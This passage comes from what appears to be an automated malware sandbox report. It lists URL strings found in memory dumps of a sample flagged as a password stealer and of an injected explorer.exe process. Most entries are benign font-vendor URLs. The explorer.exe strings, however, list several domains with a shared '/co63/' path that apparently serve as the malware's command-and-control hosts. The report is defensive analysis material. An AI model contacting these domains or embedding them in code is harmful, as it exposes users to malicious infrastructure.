SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392117186.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391672235.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391554635.0000000005756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/=
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391472420.0000000005754000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391405610.0000000005755000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391725464.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391280868.0000000005751000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391672235.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391554635.0000000005756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/A
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391472420.0000000005754000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391725464.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391782567.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391672235.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391554635.0000000005756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/adnl
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391472420.0000000005754000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391405610.0000000005755000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391725464.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391782567.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391280868.0000000005751000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391672235.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391554635.0000000005756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/es-ew
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391472420.0000000005754000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392066294.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391725464.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391867029.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391782567.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392020681.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392117186.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391672235.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391554635.0000000005756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392066294.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392167050.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391725464.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391867029.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392276202.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392786588.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391782567.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392020681.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392926230.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392117186.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391672235.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392383105.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391554635.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392213201.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392322140.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392547177.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/$
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391472420.0000000005754000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/=
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391725464.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391782567.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391672235.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391554635.0000000005756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/H
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391725464.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391782567.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391672235.0000000005756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/n-u
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391472420.0000000005754000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391405610.0000000005755000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391725464.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391782567.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391672235.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391554635.0000000005756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/rtr~
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391472420.0000000005754000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391554635.0000000005756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/s
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.mattewigs.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.mattewigs.com/co63/
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.mattewigs.com/co63/www.dulichphucbinh.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.mattewigs.comReferer:
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.mazinhoccb.com
Source: explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.mazinhoccb.com/co63/
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.mazinhoccb.comReferer:
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.393919703.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.398187272.000000000578D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.398367935.000000000578D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.398296937.000000000578D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.monotype.
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.myccsmartmove.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.myccsmartmove.com/co63/
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.myccsmartmove.com/co63/www.takealicense.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.myccsmartmove.comReferer:
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.naspewt.xyz
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.naspewt.xyz/co63/
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.naspewt.xyz/co63/www.mattewigs.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.naspewt.xyzReferer:
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.pym479.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.pym479.com/co63/
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.pym479.com/co63/www.creativebrea.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.pym479.comReferer:
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.387837697.000000000575B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com-
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.387823212.000000000575B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.comu
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.saleschildcarriers.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.saleschildcarriers.com/co63/
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.saleschildcarriers.com/co63/www.ballthingsez.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.saleschildcarriers.comReferer:
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.takealicense.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.takealicense.com/co63/
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.takealicense.com/co63/www.naspewt.xyz
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.takealicense.comReferer:
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
